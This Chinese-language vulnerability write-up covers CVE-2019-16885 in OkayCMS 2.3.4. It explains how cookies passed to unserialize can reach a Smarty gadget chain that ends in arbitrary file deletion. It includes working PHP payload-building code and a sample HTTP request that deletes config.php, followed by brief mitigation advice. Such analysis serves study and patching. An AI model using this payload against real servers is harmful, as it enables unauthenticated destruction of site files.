OkayCMS 2.3.4 反序列化漏洞(CVE-2019-16885)
字数 1563 2025-08-26 22:11:40
OkayCMS 2.3.4 反序列化漏洞(CVE-2019-16885) 深入分析与利用教学
漏洞概述
OkayCMS 2.3.4版本中存在反序列化漏洞(CVE-2019-16885),允许未经身份验证的攻击者通过精心构造的Cookie数据执行任意文件删除操作。该漏洞存在于多个接口中,利用Smarty模板引擎的特性实现攻击。
漏洞位置分析
第一处漏洞点:ProductsView.php
文件路径:view/ProductsView.php
关键代码(516行附近):
$price_filter = unserialize($_COOKIE['price_filter']);
特点:
- 直接反序列化Cookie中的
price_filter参数 - 无需身份验证即可访问
- 位于
fetch方法中,无访问控制
第二处漏洞点:Comparison.php
文件路径:api/Comparison.php
存在反序列化的三个接口:
get_comparison- 获取比较产品清单add_item- 将产品添加到比较列表delete_item- 从比较列表中删除项目
共同特点:
- 都使用
unserialize($_COOKIE['comparison']) - 通过
ajax/comparison.php暴露,无需身份验证 - 可通过GET参数
action控制调用的接口
漏洞利用链分析
Smarty模板引擎利用链
核心类:Smarty_Internal_CacheResource_File
关键方法:releaseLock
public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
{
$lockId = $cached->lock_id;
if ($lockId !== null) {
unlink($smarty->getCacheDir() . '.lock.' . $lockId);
}
}
触发路径
- 反序列化触发
Smarty_Internal_Template类的__destruct方法 __destruct方法中调用releaseLock方法releaseLock执行unlink操作实现文件删除
必要条件
要成功利用需要满足以下条件:
$this->smarty必须是Smarty类的实例$this->cached必须是Smarty_Template_Cached类的实例$this->smarty->cache_locking必须为true$this->cached->is_locked必须为true$this->cached->lock_id控制要删除的文件路径
利用链构造
完整的利用链构造如下:
<?php
class Smarty {
public $cache_locking = true;
public $cache_dir = '/path/to/delete/'; // 要删除的文件所在目录
}
class Smarty_Template_Cached {
public $is_locked = true;
public $lock_id = 'filename'; // 要删除的文件名
}
class Smarty_Internal_Template {
public $smarty;
public $cached;
public function __construct() {
$this->smarty = new Smarty();
$this->cached = new Smarty_Template_Cached();
}
}
$payload = new Smarty_Internal_Template();
echo serialize($payload);
?>
漏洞利用步骤
通过price_filter参数利用
- 构造恶意序列化字符串
- 设置Cookie:
price_filter=[序列化payload] - 访问包含ProductsView.php的页面
通过comparison参数利用
- 构造恶意序列化字符串
- 设置Cookie:
comparison=[序列化payload] - 发送GET请求到
ajax/comparison.php,参数:action=get_comparison(或add_item/delete_item)
实际攻击示例
任意文件删除攻击
假设要删除服务器上的/var/www/html/config.php文件:
- 构造payload:
$smarty = new Smarty();
$smarty->cache_locking = true;
$smarty->cache_dir = '/var/www/html/';
$cached = new Smarty_Template_Cached();
$cached->is_locked = true;
$cached->lock_id = 'config.php';
$template = new Smarty_Internal_Template();
$template->smarty = $smarty;
$template->cached = $cached;
$payload = serialize($template);
- 将生成的序列化字符串通过Cookie发送:
Cookie: comparison=[生成的payload]
- 发送请求:
GET /ajax/comparison.php?action=get_comparison HTTP/1.1
Host: target.com
Cookie: comparison=[生成的payload]
防御建议
- 升级到最新版本的OkayCMS
- 对反序列化操作进行严格过滤:
- 使用
json_decode代替unserialize - 实现白名单机制,只允许反序列化特定类
- 使用
- 对关键文件设置严格的权限控制
- 实施输入验证,特别是对Cookie数据
总结
OkayCMS 2.3.4的反序列化漏洞(CVE-2019-16885)是一个高危漏洞,允许攻击者在无需身份验证的情况下实现任意文件删除。漏洞利用依赖于Smarty模板引擎的特性,通过精心构造的序列化对象触发文件删除操作。系统管理员应立即采取修补措施,开发者应避免直接反序列化用户输入。